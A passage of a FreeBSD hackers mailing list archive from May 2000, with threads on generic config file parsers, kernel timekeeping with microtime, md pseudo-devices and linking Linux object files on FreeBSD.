relay.butya.kz with local-esmtp (Exim 3.13 #1) id 12wKQz-0006VB-00; Mon, 29 May 2000 14:58:01 +0700 Date: Mon, 29 May 2000 14:58:01 +0700 (ALMST) From: Boris Popov To: Wes Peters Cc: A G F Keahan , freebsd-hackers@FreeBSD.ORG Subject: Re: Generic config file parser? In-Reply-To: <39321407.40926B57@softweyr.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 29 May 2000, Wes Peters wrote: > > Yes, there is such thing. I've used this format for nwfs/smbfs > > configuration files. You may look at old version of this parser in > > src/lib/libncp/ncpl_rcfile.c or download smbfs sources > > (ftp://ftp.butya.kz/pub/smbfs/smbfs.tar.gz) and look in the > > lib/smb/rcfile.c for more generalized interface. > > > > I'm really want to make this thing generic and unite it with > > others config file parsers (if memory serves me right, Daniel Sobral wrote > > RW version for rc.conf style files). > > Not needed, there is such a parser library included in OpenSSL, which > is included in FreeBSD by default as of 4.0. The documenation is > non-existent, but I suspect it will show up sooner than yet another > development effort would produce. > > See /usr/src/crypto/openssl/crypto/conf for more info: UTSL. No, while we have N_OPEN* switches in the make.conf file, this library isn't standard. For example, I don't have any of open* programs compiled and installed, so there is no /usr/lib/libcrypto* files. -- Boris Popov http://www.butya.kz/~bp/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 1: 1:44 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from gilgamesch.bik-gmbh.de (T1-Hansenet.BIK-GmbH.de [192.76.134.246]) by hub.freebsd.org (Postfix) with ESMTP id 1FC2437BBF5 for ; Mon, 29 May 2000 01:01:41 -0700 (PDT) (envelope-from cracauer@gilgamesch.bik-gmbh.de) Received: (from cracauer@localhost) by gilgamesch.bik-gmbh.de (8.9.3/8.7.3) id KAA97756; Mon, 29 May 2000 10:01:36 +0200 (MET DST) Date: Mon, 29 May 2000 10:01:36 +0200 From: Martin Cracauer To: A G F Keahan Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Generic config file parser? Message-ID: <20000529100136.A97382@cons.org> References: <3931B325.BB166270@freenet.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <3931B325.BB166270@freenet.co.uk>; from ak@freenet.co.uk on Mon, May 29, 2000 at 02:00:37AM +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In <3931B325.BB166270@freenet.co.uk>, A G F Keahan wrote: > This may be a silly question, but is there such a thing? Almost every > program that I know uses configuration files, often in different, > incompatible formats. I personally prefer Samba/Wine-style config > files which are split into "sections" like this: > > [SECTIONNAME1] > wibble1 = blah > wibble2 = 35 > wibble3 = "a string that has more than one word" > ; this is a comment -- ignored > wibble4 = 4.567e9 > > What I'm after is some kind of a generic parser function, which you can > give a section name "SECTIONNAME1"), a token name (e.g. "wibble1"), a > separator (e.g. "=", ":", or white space ""), and a variable of some > type (char *, int, float, etc), and have it return "true" and the > requested value if it exists, or "false" if the value was not found or > datatype was incorrectly specified. Similarly, I want to be able to > save a value into a given section of the file, possibly replacing an > existing value, or adding a new one. It's exactly this what XML is for. It gives you a generic way to define file syntaxes, so that not only your program can read it, but also generic file checkers, GUI tools that support other people in writing such files in environments they like. Also, its would be easy to use in one of the many languages that have a XML library (no need to use a foreign interface to your C library). The syntax can easily include collections of all kinds, including trees, which is more difficult to make in home-grown parsers. At least the history of my applications using config files shows that sooner or later things become more complex and need such features. The usual way to hack around the problem is to put collections in strings, which breaks the normal syntax error reporting. I have to admit that my main ASCII-parsing application still uses a hack-up C++ (urgs) parser, basically since I didn't find a sufficient XML parsing library for C so far, but the mess is incredible (the applications will be 10 years out this summer). I can only advice you to use synaxtes that could (not necessarily from start) be parsed by existing technology that leave roon for syntax expansion. Martin -- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Martin Cracauer http://www.cons.org/cracauer/ BSD User Group Hamburg, Germany http://www.bsdhh.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 1:48:20 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 4562A37B8B3; Mon, 29 May 2000 01:48:15 -0700 (PDT) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id e4T98jR04260; Mon, 29 May 2000 02:08:45 -0700 (PDT) Date: Mon, 29 May 2000 02:08:45 -0700 From: Alfred Perlstein To: "G.B.Naidu" Cc: freebsd-net@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: How do I time in kernel... Message-ID: <20000529020845.U28594@fw.wintelcom.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from gbnaidu@sasi.com on Mon, May 29, 2000 at 01:04:45PM +0530 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * G.B.Naidu [000529 01:13] wrote: > > Hi, > > I would like to know how to get time of the day in side kernel. When I > used gettimeofday() in side kernel, it was giving panic on 3.3 FreeBSD > release. It didnt panic on 3.1-RELEASE. So what is the problem? > > Can I use gettimeofday() inside kernel? if so why 3.3 is panicking? Ifnot > why 3.1 is not panicking? > > Next question is how can I achieve the equal functionality of > gettimeofday() call in kernel? Is there anyway? > > One more question: Is it wrong to call system call from kernel files? It depends on how you call it, look at the sendfile implementation and see how it has to call writev(), userland_writev() != kernel_writev(), you need to munge with the arguements. -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] "I have the heart of a child; I keep it in a jar on my desk." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 2:32: 7 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 0446837B8D7; Mon, 29 May 2000 02:31:57 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id LAA25075; Mon, 29 May 2000 11:15:12 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: "G.B.Naidu" Cc: freebsd-net@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: How do I time in kernel... In-reply-to: Your message of "Mon, 29 May 2000 13:04:45 +0530." Date: Mon, 29 May 2000 11:15:12 +0200 Message-ID: <25073.959591712@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >Can I use gettimeofday() inside kernel? if so why 3.3 is panicking? Ifnot >why 3.1 is not panicking? It's called "microtime()" in the kernel. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 2:58:25 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from hermes.research.kpn.com (hermes.research.kpn.com [139.63.192.8]) by hub.freebsd.org (Postfix) with ESMTP id 3B2A437B979 for ; Mon, 29 May 2000 02:58:21 -0700 (PDT) (envelope-from K.J.Koster@kpn.com) Received: from l04.research.kpn.com (l04.research.kpn.com [139.63.192.204]) by research.kpn.com (PMDF V5.2-31 #42699) with ESMTP id <01JPYZE2CIIO0005F8@research.kpn.com> for freebsd-hackers@FreeBSD.ORG; Mon, 29 May 2000 11:58:19 +0200 Received: by l04.research.kpn.com with Internet Mail Service (5.5.2650.21) id ; Mon, 29 May 2000 11:58:08 +0100 Content-return: allowed Date: Mon, 29 May 2000 11:58:04 +0100 From: "Koster, K.J." Subject: RE: Creating a system to boot 4 different OS types. To: freebsd-hackers@FreeBSD.ORG Message-id: <59063B5B4D98D311BC0D0001FA7E4522026D75A0@l04.research.kpn.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hmm. I think booteasy will allow you to put FreeBSD on a second disk. That way you can have n-way booting, where n is limited only by the number of OS's on the market today. :-) Kees Jan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 4:22:13 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from sasi.com (sasi.com [164.164.56.2]) by hub.freebsd.org (Postfix) with ESMTP id E4E0F37BA51; Mon, 29 May 2000 04:22:01 -0700 (PDT) (envelope-from gbnaidu@sasi.com) Received: from samar (sasi.com [164.164.56.2]) by sasi.com (8.9.3/8.9.3) with SMTP id QAA07950; Mon, 29 May 2000 16:50:00 +0530 (IST) Received: from pcd75.sasi.com ([10.0.16.75]) by sasi.com; Mon, 29 May 2000 16:48:50 +0000 (IST) Received: from localhost (gbnaidu@localhost) by pcd75.sasi.com (8.9.3/8.9.3) with ESMTP id QAA07278; Mon, 29 May 2000 16:28:56 +0530 Date: Mon, 29 May 2000 16:28:56 +0530 (IST) From: "G.B.Naidu" To: Alfred Perlstein Cc: freebsd-net@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: How do I time in kernel... In-Reply-To: <20000529020845.U28594@fw.wintelcom.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, thanks a lot for the reply. Please see my comments below: On Mon, 29 May 2000, Alfred Perlstein wrote: > * G.B.Naidu [000529 01:13] wrote: > > > > Hi, > > > > I would like to know how to get time of the day in side kernel. When I > > used gettimeofday() in side kernel, it was giving panic on 3.3 FreeBSD > > release. It didnt panic on 3.1-RELEASE. So what is the problem? > > > > Can I use gettimeofday() inside kernel? if so why 3.3 is panicking? Ifnot > > why 3.1 is not panicking? > > > > Next question is how can I achieve the equal functionality of > > gettimeofday() call in kernel? Is there anyway? > > > > One more question: Is it wrong to call system call from kernel files? > > It depends on how you call it, look at the sendfile implementation and > see how it has to call writev(), userland_writev() != kernel_writev(), > you need to munge with the arguements. > The kernel_writev() calls requre a proc structure. Now my question is how can I get a proc structure? My requirement is as follows: I want to open a driver as open("/dev/nic0"...), then I want to write() and read() from the driver. I have two choices. Either to go for the kernel or user level. Kernel level is to restrict the normal user from fiddling with the driver data. User lever is for simplicity. Now which choice should I make? If I want to go for kernel level, my question is how do I do open, write, read and close. For the kernel versions of these system calls, I need proc structure. How do I get it? Next I read in the book : design of 4.4 BSD O/S that the user interface for the system calls is thorugh library routines write(), open() etc. I want to know where is the source code for these user land write(), open() etc library calls. Where this implementation of interface between library calls and system calls? How it is done? Any help is appreciated. thanks --gb -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 4:31:16 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from locust.etext.org (locust.etext.org [216.93.75.148]) by hub.freebsd.org (Postfix) with ESMTP id D935837BBA9 for ; Mon, 29 May 2000 04:31:12 -0700 (PDT) (envelope-from pauls@etext.org) Received: from localhost (pauls@localhost) by locust.etext.org (8.9.3/8.9.3) with ESMTP id HAA41776; Mon, 29 May 2000 07:31:08 -0400 (EDT) Date: Mon, 29 May 2000 07:31:08 -0400 (EDT) From: Paul Southworth To: Doug Barton Cc: hackers@freebsd.org Subject: Re: 4-STABLE - did you break /etc/defaults/rc.conf? In-Reply-To: <3931E915.CEA717D9@gorean.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 28 May 2000, Doug Barton wrote: :Paul Southworth wrote: : :> Looks like I must have cvsuped between the check-in of the new rc.conf and :> the /etc/rc - my /etc/rc was 1.212.2.2 - they were checked in four hours :> apart, and I must have slipped in that gap. I will release again and see :> if that fixes it. : : Ok, phew. :) I am 99% sure that's the problem. Please let us know either :way. Works now, thank you. : Yes... I figured it would be easier to just update /etc, before building :your new release, but whatever works for you. :) Yes, circumstances conspired against that prudent measure at the time. My penance is to wait for one extra 'make release' and throw a CD-R in the trash. :-) --Paul To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 4:56:58 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from sasi.com (sasi.com [164.164.56.2]) by hub.freebsd.org (Postfix) with ESMTP id 58BB737B558; Mon, 29 May 2000 04:56:43 -0700 (PDT) (envelope-from gbnaidu@sasi.com) Received: from samar (sasi.com [164.164.56.2]) by sasi.com (8.9.3/8.9.3) with SMTP id RAA09561; Mon, 29 May 2000 17:24:33 +0530 (IST) Received: from pcd75.sasi.com ([10.0.16.75]) by sasi.com; Mon, 29 May 2000 17:23:58 +0000 (IST) Received: from localhost (gbnaidu@localhost) by pcd75.sasi.com (8.9.3/8.9.3) with ESMTP id PAA07215; Mon, 29 May 2000 15:02:47 +0530 Date: Mon, 29 May 2000 15:02:47 +0530 (IST) From: "G.B.Naidu" To: Poul-Henning Kamp Cc: freebsd-net@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: How do I time in kernel... In-Reply-To: <25073.959591712@critter.freebsd.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, Thanks guys, for the answer. We tracked that down and now it is not panicing. Thanks Poul-Henning for the answer. thanks --gb On Mon, 29 May 2000, Poul-Henning Kamp wrote: > > >Can I use gettimeofday() inside kernel? if so why 3.3 is panicking? Ifnot > >why 3.1 is not panicking? > > It's called "microtime()" in the kernel. > > -- > Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 > phk@FreeBSD.ORG | TCP/IP since RFC 956 > FreeBSD coreteam member | BSD since 4.3-tahoe > Never attribute to malice what can adequately be explained by incompetence. > -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 5:38:47 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 628D737B7C7 for ; Mon, 29 May 2000 05:38:39 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p01-dn03kiryunisiki.gunma.ocn.ne.jp [210.232.224.130]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id VAA07581; Mon, 29 May 2000 21:38:15 +0900 (JST) Message-ID: <3932639F.2EFDF7F1@newsguy.com> Date: Mon, 29 May 2000 21:33:35 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: A G F Keahan Cc: freebsd-hackers@FreeBSD.ORG, Doug Barton Subject: Re: Generic config file parser? References: <3931B325.BB166270@freenet.co.uk> <3931AAF9.BE1846A@gorean.org> <3931BF15.3D2870EF@freenet.co.uk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG A G F Keahan wrote: > > Which does not necessarily make it bad, of course, it's just nice to > separate things out. Many UNIX applications use similar formats; you > don't have to go very far to find an example -- look at e.g. > /etc/defaults/rc.conf, which has distinct sections separated by comments > like this one: > > ############################################################## > ### Important initial Boot-time options #################### > ############################################################## > > I'll say it again -- I'm not specifically after a Windows-style config > file parser, just any similar type thing. You can find libconf on http://people.freebsd.org/~dcs/, which will parse rc.conf-style files. At one point it was my intention importing it intou our tree, but I was dissuaded by my senpai, who said do it right or don't do it at all (even though it was done already :). -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org capo@another.bsdconspiracy.org "Sentience hurts." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 5:57:48 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 0ADDC37B63E for ; Mon, 29 May 2000 05:57:45 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p01-dn03kiryunisiki.gunma.ocn.ne.jp [210.232.224.130]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id VAA14687; Mon, 29 May 2000 21:57:01 +0900 (JST) Message-ID: <39326969.D00C057F@newsguy.com> Date: Mon, 29 May 2000 21:58:17 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Wes Peters Cc: Boris Popov , A G F Keahan , freebsd-hackers@FreeBSD.ORG Subject: Re: Generic config file parser? References: <39321407.40926B57@softweyr.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Wes Peters wrote: > > > I'm really want to make this thing generic and unite it with > > others config file parsers (if memory serves me right, Daniel Sobral wrote > > RW version for rc.conf style files). > > Not needed, there is such a parser library included in OpenSSL, which > is included in FreeBSD by default as of 4.0. The documenation is > non-existent, but I suspect it will show up sooner than yet another > development effort would produce. Well, it _doesn't_ handle loader/rc.conf format, hosts format, inetd.conf format, pccard.conf format, etc, which is what bp is talking about. And, remember, _his_ library is already in the system too. But, alas, the format thing isn't even the beginning. That stuff doesn't do HALF the stuff my own libconf does. It doesn't handle nested sections, it doesn't handle multiple input files (which is pretty much the way we decided to do things), it does _update_ the files, it doesn't handle descriptions, it doesn't handle set/unset with comments, it doesn't handle unset (commented-out) options for reference purposes, doesn't handle multiple instances of a setting... and, then, it's access methods are pitiable. You can't enumerate settings in a section, enumerate sections, etc. Now, my library, which does all of the above, was shot down by msmith because *IT* doesn't handle a lot of stuff that ought to be handled. > A better choice might be found in XML. Exploring the port of libxml > (in ports/textproc) might be enlightening. As long as we don't have to change the format the options are in. :-) It can get difficult once you are receiving input by NIS or NDAP, or the file formats are beyond your control. :-) -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org capo@another.bsdconspiracy.org "Sentience hurts." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 6: 1:45 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from tomts1-srv.bellnexxia.net (tomts1.bellnexxia.net [209.226.175.139]) by hub.freebsd.org (Postfix) with ESMTP id B178637B63E for ; Mon, 29 May 2000 06:01:40 -0700 (PDT) (envelope-from hoek@FreeBSD.org) Received: from sympatico.ca ([206.172.130.68]) by tomts1-srv.bellnexxia.net (InterMail vM.4.01.02.17 201-229-119) with ESMTP id <20000529130139.DAMZ15500.tomts1-srv.bellnexxia.net@sympatico.ca>; Mon, 29 May 2000 09:01:39 -0400 Received: (from tim@localhost) by sympatico.ca (8.9.3/8.9.1) id IAA60877; Mon, 29 May 2000 08:38:43 -0400 (EDT) (envelope-from tim) Date: Mon, 29 May 2000 08:38:42 -0400 From: Tim Vanderhoek To: A G F Keahan Cc: freebsd-hackers@freebsd.org Subject: Re: Generic config file parser? Message-ID: <20000529083842.B53227@sympatico.ca> References: <3931B325.BB166270@freenet.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95i In-Reply-To: <3931B325.BB166270@freenet.co.uk>; from A G F Keahan on Mon, May 29, 2000 at 02:00:37AM +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, May 29, 2000 at 02:00:37AM +0200, A G F Keahan wrote: > > This may be a silly question, but is there such a thing? Almost every > program that I know uses configuration files, often in different, > incompatible formats. I personally prefer Samba/Wine-style config man 3 property for a start, anyways. -- Signature withheld by request of author. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 7: 2: 5 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from barter.dewline.com (barter.dewline.com [209.208.153.2]) by hub.freebsd.org (Postfix) with ESMTP id 876C937B608 for ; Mon, 29 May 2000 07:02:01 -0700 (PDT) (envelope-from mackler@barter.dewline.com) Received: (from root@localhost) by barter.dewline.com (8.9.1/8.9.1) id KAA11743; Mon, 29 May 2000 10:02:00 -0400 (EDT) Date: Mon, 29 May 2000 10:02:00 -0400 (EDT) Message-Id: <200005291402.KAA11743@barter.dewline.com> To: freebsd-hackers@freebsd.org Subject: using more than one md pseudo-device w/ 4.0-STABLE From: Adam Mackler Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi: The md pseudo-device does work as described in the handbook in section 10.6.2. However it doesn't seem to work when I try to use a device other than /dev/md0, specifically /dev/md1. Some other pseudo-devices can be specified in the kernel configuration with a number to indicate the number of units. This doesn't seem to work with md. For example: pseudo-device md 3 # Memory "disks" I have run MAKEDEV md0 MAKEDEV md1 MAKEDEV md2 but I still get the message dd: /dev/md1: Device not configured when I do dd if=somefile of=/dev/md1 How do I use more than one md device at a time? Thanks in advance, -- Adam Mackler To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 8: 4:14 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from whizzo.transsys.com (whizzo.TransSys.COM [144.202.42.10]) by hub.freebsd.org (Postfix) with ESMTP id 340C537BF9E for ; Mon, 29 May 2000 08:04:10 -0700 (PDT) (envelope-from louie@whizzo.transsys.com) Received: from whizzo.transsys.com (localhost.transsys.com [127.0.0.1]) by whizzo.transsys.com (8.9.3/8.9.1) with ESMTP id LAA88229; Mon, 29 May 2000 11:03:07 -0400 (EDT) (envelope-from louie@whizzo.transsys.com) Message-Id: <200005291503.LAA88229@whizzo.transsys.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: "Daniel C. Sobral" Cc: Wes Peters , Boris Popov , A G F Keahan , freebsd-hackers@FreeBSD.ORG X-Image-URL: http://www.transsys.com/louie/images/louie-mail.jpg From: "Louis A. Mamakos" Subject: Re: Generic config file parser? References: <39321407.40926B57@softweyr.com> <39326969.D00C057F@newsguy.com> In-reply-to: Your message of "Mon, 29 May 2000 21:58:17 +0900." <39326969.D00C057F@newsguy.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 29 May 2000 11:03:07 -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I usually just embed a TCL interpreter into tools that require a lot of configurability. You can then use that infrastructure to extend the tool as well. You can make config files which can just be eval'ed by TCL to configuration your application. louie > Wes Peters wrote: > > > > > I'm really want to make this thing generic and unite it with > > > others config file parsers (if memory serves me right, Daniel Sobral wrote > > > RW version for rc.conf style files). > > > > Not needed, there is such a parser library included in OpenSSL, which > > is included in FreeBSD by default as of 4.0. The documenation is > > non-existent, but I suspect it will show up sooner than yet another > > development effort would produce. > > Well, it _doesn't_ handle loader/rc.conf format, hosts format, > inetd.conf format, pccard.conf format, etc, which is what bp is talking > about. And, remember, _his_ library is already in the system too. > > But, alas, the format thing isn't even the beginning. That stuff doesn't > do HALF the stuff my own libconf does. It doesn't handle nested > sections, it doesn't handle multiple input files (which is pretty much > the way we decided to do things), it does _update_ the files, it doesn't > handle descriptions, it doesn't handle set/unset with comments, it > doesn't handle unset (commented-out) options for reference purposes, > doesn't handle multiple instances of a setting... and, then, it's access > methods are pitiable. You can't enumerate settings in a section, > enumerate sections, etc. > > Now, my library, which does all of the above, was shot down by msmith > because *IT* doesn't handle a lot of stuff that ought to be handled. > > > A better choice might be found in XML. Exploring the port of libxml > > (in ports/textproc) might be enlightening. > > As long as we don't have to change the format the options are in. :-) It > can get difficult once you are receiving input by NIS or NDAP, or the > file formats are beyond your control. :-) > > -- > Daniel C. Sobral (8-DCS) > dcs@newsguy.com > dcs@freebsd.org > capo@another.bsdconspiracy.org > > "Sentience hurts." > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 8:18:27 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from www19.gmx.net (www.gmx.net [194.221.183.59]) by hub.freebsd.org (Postfix) with SMTP id B71C137BAA3 for ; Mon, 29 May 2000 08:18:20 -0700 (PDT) (envelope-from d_f0rce@gmx.de) Received: (qmail 28666 invoked by uid 0); 29 May 2000 15:18:18 -0000 Date: Mon, 29 May 2000 17:18:18 +0200 (MEST) From: d_f0rce@gmx.de To: freebsd-hackers@freebsd.org MIME-Version: 1.0 Subject: Linking Linux object files under FreeBSD X-Authenticated-Sender: #0002415309@gmx.net X-Authenticated-IP: [212.118.32.70] Message-ID: <28440.959613498@www19.gmx.net> X-Mailer: WWW-Mail 1.5 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, Can anyone tell me if it is possible to link object files which were compiled under Linux on a FreeBSD system. Background: I have to extend a programm for which I only got the object Files. This programm calls functions I have to write. As I don't have a Linux system at home I would like to use those object-files under FreeBSD to test my code. Is this possible? When I try to link those object files I always get the following errors: ###################################################### Linking... /home/maret/test/main.o: In function `process': /home/maret/test/main.o(.text+0x24): undefined reference to `stderr' /home/maret/test/main.o(.text+0x39): undefined reference to `stderr' /home/maret/test/main.o(.text+0x8e): undefined reference to `stderr' /home/maret/test/main.o(.text+0xaa): undefined reference to `stderr' /home/maret/test/main.o(.text+0xee): undefined reference to `stderr' /home/maret/test/main.o(.text+0x10a): more undefined references to `stderr' follow /home/maret/test/main.o: In function `main': /home/maret/test/main.o(.text+0x3d7): undefined reference to `error' /home/maret/test/main.o(.text+0x427): undefined reference to `error' /home/maret/test/main.o(.text+0x458): undefined reference to `stderr' /home/maret/test/main.o(.text+0x466): undefined reference to `stderr' /home/maret/test/main.o(.text+0x488): undefined reference to `stdin' /home/maret/test/main.o(.text+0x4c2): undefined reference to `stderr' /home/maret/test/main.o(.text+0x4d7): undefined reference to `stderr' /home/maret/test/main.o(.text+0x55b): undefined reference to `stderr' /home/maret/test/main.o(.text+0x57b): undefined reference to `stderr' /home/maret/test/main.o(.text+0x589): undefined reference to `stderr' /home/maret/test/main.o(.text+0x597): undefined reference to `stdin' /home/maret/test/main.o(.text+0x5dd): undefined reference to `stderr' /home/maret/test/main.o(.text+0x766): undefined reference to `stderr' /home/maret/test/main.o(.text+0x929): undefined reference to `stderr' /home/maret/test/main.o: In function `usage': /home/maret/test/main.o(.text+0x9c5): undefined reference to `stderr' /home/maret/test/main.o: In function `help_on_commands': /home/maret/test/main.o(.text+0xb7f): undefined reference to `stderr' /home/maret/test/main.o(.text+0xc72): more undefined references to `stderr' follow *** Error code 1 (ignored) ####################################################################### I tried to link libc with "cc -lc ...." but this didn't work too. Any ideas? Regards, Alex PS: Please answer to me directly as I'm not on the list. -- Sent through GMX FreeMail - http://www.gmx.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 8:29:39 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from coredump.lovett.com (hub.lovett.com [216.60.121.161]) by hub.freebsd.org (Postfix) with ESMTP id D89D537BBDD for ; Mon, 29 May 2000 08:29:30 -0700 (PDT) (envelope-from ade@lovett.com) Received: from ade by coredump.lovett.com with local (Exim 3.14 #1) id 12wRTj-0000ZD-00; Mon, 29 May 2000 10:29:19 -0500 Date: Mon, 29 May 2000 10:29:19 -0500 From: Ade Lovett To: Wes Peters Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Generic config file parser? Message-ID: <20000529102919.A2142@FreeBSD.org> References: <39321407.40926B57@softweyr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <39321407.40926B57@softweyr.com>; from wes@softweyr.com on Mon, May 29, 2000 at 12:53:59AM -0600 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, May 29, 2000 at 12:53:59AM -0600, Wes Peters wrote: > A better choice might be found in XML. Exploring the port of libxml > (in ports/textproc) might be enlightening. XML is almost certainly a better option.. the more I look at it, the more I think it will cover most all of the config file issues that I have, both at home and RealJob[tm]. Be advised, however, the ports/textproc/libxml has a 2.0 version floating around "out there" on the GNOME sites, which does have a reasonable amount of 